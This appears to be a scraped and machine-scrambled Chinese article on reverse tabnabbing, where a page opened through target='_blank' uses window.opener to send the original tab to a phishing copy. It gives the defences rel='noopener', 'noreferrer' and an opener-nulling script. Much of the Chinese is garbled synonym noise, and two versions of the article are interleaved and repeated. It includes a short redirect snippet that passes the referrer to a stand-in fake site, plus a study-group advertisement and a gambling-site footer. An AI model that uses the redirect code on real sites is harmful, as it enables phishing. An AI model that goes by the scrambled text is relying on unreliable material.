网页中a链接中隐藏着危险

作者: 前端知识  发布:2019-06-24

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript · target

原稿出处: 创宇前端   

图片 1

在网页中采纳链接时,若是想要让浏览器自动在新的标签页张开内定的地方,日常的做法即是在 a 标签上增添 target等于"_blank" 属性。

可是,正是其一特性,为钓鱼攻击者带来了可乘之机。

图片 2

起源

前言

parentopener

在说 opener 在此以前,能够先聊聊 <iframe> 中的 parent

小编们清楚,在 <iframe> 中提供了三个用以老爹和儿子页面交互的对象,叫做 window.parent,大家得以由此 window.parent 对象来从框架中的页面访问父级页面包车型地铁 window

opener 与 parent 一样,只但是是用来 <a target="_blank"> 在新标签页张开的页面包车型地铁。通过 <a target="_blank"> 展开的页面,能够一贯运用 window.opener 来访问来源页面包车型客车 window 对象。

在网页中应用a链接时,恐怕会增多叁个简练的 target="_blank" 属性到 a 标签上来让浏览器用一个新的标签页来开采四个 U奥迪Q5L 地址。可是这一质量正在变成网络钓鱼者攻击的火候。

同域与跨域

浏览器提供了完整的跨域爱慕,在域名同样期,parent 对象和 opener 对象实际就直接是上一级的 window 对象;而当域名差别期,parentopener 则是由此包装的一个 global 对象。这个 global 对象仅提供十分有限的品质访问,并且在那仅局地多少个属性中,当先八分之四也都以不允许访问的(访问会从来抛出 DOMException)。

图片 3

在 <iframe> 中,提供了一个 sandbox 属性用于调控框架中的页面包车型大巴权力,由此纵然是同域,也得以调控 <iframe> 的安全性。

 

parent 和 opener

利用

就算,你的网址上有多少个链接,使用了 target="_blank",那么只要用户点击那一个链接并进入四个新的价签,新标签中的页面假诺存在恶意代码,就足以将您的网址直接导航到多少个仿真网址。此时,如若用户回到你的标签页,看到的就是被调换过的页面了。

在评论 opener 对象在此以前,大家先看看 <iframe> 里面包车型客车 parent 对象。

详见步骤

  1. 在您的网址 https://example.com 上设有二个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 用户点击了那个链接,在新的标签页展开了这几个网址。那些网址能够经过 HTTP Header 中的 Referer 属性来判定用户的根源。并且,这么些网址上含蓄着就像是于如此的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'   url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?'   url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 那儿,用户在延续浏览这一个新的标签页,而原本的网址所在的标签页此时早就被导航到了 https://a.fake.site/?https://example.com/
  2. 恶意网站 https://a.fake.site 根据 Query String 来充数一个方可哄骗用户的页面,并突显出来(时期还足以做三遍跳转,使得浏览器的地址栏更富有迷惑性)。
  3. 用户关闭 https://an.evil.site 的标签页,回到原本的网址………………已经回不去了。

地方的攻击步骤是在跨域的事态下的,在跨域情况下,opener 对象和 parent 一样,是面对限制的,仅提供充裕有限的性格访问,并且在那仅部分多少个属性中,半数以上也都以不容许访问的(访问会一向抛出 DOMException)。

但是与 parent 分裂的是,在跨域的境况下,opener 还是能够调用 location.replace 方法parent 则不能够。

假定是在同域的景况下(举例一个网址上的某三个页面被植入了恶意代码),则意况要比地方严重得多。

我们都精通 <iframe> 提供了一个用于父页面与子页面交互的指标,它正是window.parent。也正是我们得以由此 window.parent 对象去做客父页面包车型地铁window对象。

防御

``<iframe> 中有 sandbox 属性,而链接,则可以动用上边包车型客车秘技:

而 opener 是跟 parent 同样的靶子,可是它只是用于通过 <a target="_blank"> 来打开的新标签页。你可以透过 window.opener 直接的走访到新标签页面包车型地铁 window 对象。

1. Referrer Policy 和 noreferrer

地点的抨击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上能够在 HTTP 的响应头中扩充 Referrer Policy 头来确定保障来源隐衷安全。

Referrer Policy 要求修改后端代码来达成,而在前端,也得以利用 <a> 标签的 rel 属性来钦命 rel="noreferrer" 来保险来源隐秘安全。

<a href="" target="_blank" rel="noreferrer">进入四个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

唯独要注意的是:固然限制了 referer 的传递,照旧无法阻碍原标签被恶意跳转。

同域和跨域

2. noopener

为了安全,今世浏览器都扶助在 <a> 标签的 rel 属性中钦赐 rel="noopener",这样,在开辟的新标签页中,将不能再利用 opener 对象了,它为设置为了 null

<a href="" target="_blank" rel="noopener">进入一个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

浏览器原来提供了完整的跨域保护机制。当新旧页面域名相同一时候,事实上 parent 对象和 opener 对象都以父页面包车型地铁 window 对象。当域名差异一时候,parent 和 opener 是包装过的 global 对象。那么些 global 对象只提供了这多少个受限制的特性,在那之中绝大好些个的属性是差异意访问的 (当你点出这一个属性时它会抛八个 DOMException 的一无所长)。

3. JavaScript

noopener 属性看似是消除了装相当,不过…浏览器的兼容性难题…

图片 4

能够见见,未来多数浏览器都已经极其了 rel="noopener" 属性了。然而,为了维护稍旧的“近代”浏览器或是很旧的“大顺”浏览器照旧是“远古”浏览器,只有 noopener 属性照旧缺少的。

那会儿,就不得不请出上边这段原生 JavaScript 来支持了。

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

图片 5图片 6

推荐

首先,在网址中的链接上,假若采纳了 target="_blank",将要带上 rel="noopener",并且提出带上 rel="noreferrer"。类似于这般:

<a href="" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网址的时候,为了 SEO 权重,还提议带上 rel="nofollow",所以最终类似于那样:

<a href="" target="_blank" rel="noopener noreferrer nofollow">进入三个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

在 <iframe> 中,提供了三个 sandbox 属性来决定那一个页面包车型地铁权能,所以正是是大同小异域名,你也可以经过它来支配 <iframe> 的安全性。

性能

谈到底,再来说说品质难点。

假定网址使用了 <a target="_blank">,那么新开发的标签页的属性将会潜移默化到当下页面。此时倘使新开发的页面中实行了三个十二分巨大的 JavaScript 脚本,那么原始标签页也会惨遭震慑,会出现卡顿的风貌(当然未必卡死)。

而一旦在链接中出席了 noopener,则此时多少个标签页将会互不困扰,使得原页面包车型大巴品质不会遭到新页面包车型大巴震慑。

1 赞 收藏 评论

图片 7

恶意抨击

要是您的网址上有贰个使用了 target="_blank" 的 a 标签链接,一旦用户点击了那几个链接展开了新的标签页,假使这么些标签页跳转的网址内部存款和储蓄器在的恶意代码,那么你原本页面包车型大巴网址大概会被转到二个假的页面。相当于说,当用户回到原本的页面时,他看看的恐怕正是曾经被替换过的钓鱼页面了。

此处依旧要引入下小编的web前端学习 群 : 687958461,不管你是小白还是大腕,小编我都招待,不按期分享干货,蕴含作者本人收拾的一份最新的web前端资料和0基础入门教程,接待初学和进级中的小同伙。在不忙的岁月笔者会给我们应对。

步骤

  1. 您的网址上有叁个 a 标签的链接

Enter an "evil" website

贰个用户点击了这一个链接在贰个新的标签页张开那一个新的网址。那几个网址能够依靠用户跳转新页面包车型地铁HTTP 诉求中的 header 里的 Referer 字段来规定这一个用户的来源。

而以此网址包罗类似的 JavaScript code:

const url = encodeURIComponent('{{header.referer}}');

window.opener.location.replace('' url);

  1. 未来,这几个用户继续浏览合格新开发的标签页,当以此开首的页面已经加载到 之后。

  2. 其一恶意的网站 能够凭仗那个 querystring 部分伪造一个跟原先的页面同样的页面来欺骗用户(其实您也得以在这里面制作另三个跳转,让浏览器的地方栏看起来更令人困惑)

4. 当用户关掉那些新标签页(, no, 你再也回不到伊始特别页面了。

如上的攻击格局,是在跨域的光景中。因为当跳转的页面跨域时,opener 对象与 parent 是同八个。就算,都以受限制的同期只提供了没有多少的受限的可用属性。并且这一部分可用的性质里,超过百分之五十都不被允许访问(不然使用时会直接报错 DOMException)。可是在跨域的现象中,opener 对象不像 parent 对象那么严酷,opener 仍旧能够调用 location.replace 方法。

就算那是同域场景(比如,这几个网址上的四个页面已经被平放了恶意代码),那么这几个状态会变得进一步严重。

预防

在 <iframe> 中有二个 sandbox 属性,所以您可以应用以下的有的主意来幸免链接:

  1. Referrer Policy 和 noreferrer

本文由金沙澳门官网发布于前端知识,转载请注明出处:网页中a链接中隐藏着危险

关键词: 金沙澳门官网